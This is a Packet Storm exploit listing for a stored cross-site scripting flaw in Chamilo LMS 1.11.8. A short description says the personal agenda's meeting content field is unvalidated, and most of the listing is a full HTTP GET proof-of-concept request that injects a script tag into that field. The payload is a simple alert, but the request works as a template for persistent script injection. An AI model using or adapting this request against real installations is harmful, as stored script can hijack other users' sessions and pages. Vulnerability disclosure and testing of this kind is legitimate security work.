Chamilo LMS 1.11.8 Cross Site Scripting

2018-10-05T00:00:00
ID PACKETSTORM:149679
Type packetstorm
Reporter Cakes
Modified 2018-10-05T00:00:00

Description

                                        
                                            `# Exploit Title: Chamilo LMS 1.11.8 - Cross-Site Scripting  
# Author: Cakes  
# Discovery Date: 2018-10-05  
# Vendor Homepage: https://chamilo.org  
# Software Link: https://github.com/chamilo/chamilo-lms/releases/download/v1.11.8/chamilo-1.11.8-php5.zip  
# Tested Version: 1.11.8 for php5  
# Tested on OS: Kali Linux  
# CVE: N/A  
  
# Description:  
# Improper input validation on the Calendar / Personal Agenda page allows attackers add a persistent   
# Cross-Site scripting attack to the meeting's content field when adding a new meeting.  
# Simply intercept a new meeting request and add in the XSS  
  
# PoC  
  
GET /chamillo/main/inc/ajax/agenda.ajax.php?type=personal&a=add_event&start=2018-10-05%2000:00:00&end=2018-10-06%2000:00:00&all_day=true&view=month&title=Important+Info&content=%3Cp%3E<script>alert("Cakes");</script>%3C%2Fp%3E%0D%0A&_qf__form= HTTP/1.1  
Host: 10.0.0.16  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
X-Requested-With: XMLHttpRequest  
Referer: http://10.0.0.16/chamillo/main/calendar/agenda_js.php?type=personal  
Cookie: defaultMyCourseView3=0; ch_sid=04uo1hmqp7e49f8l36e6s9oit1; agenda_cookies={%22view%22:%22month%22%2C%22start%22:%222018-10-01%22}  
Connection: close  
  
`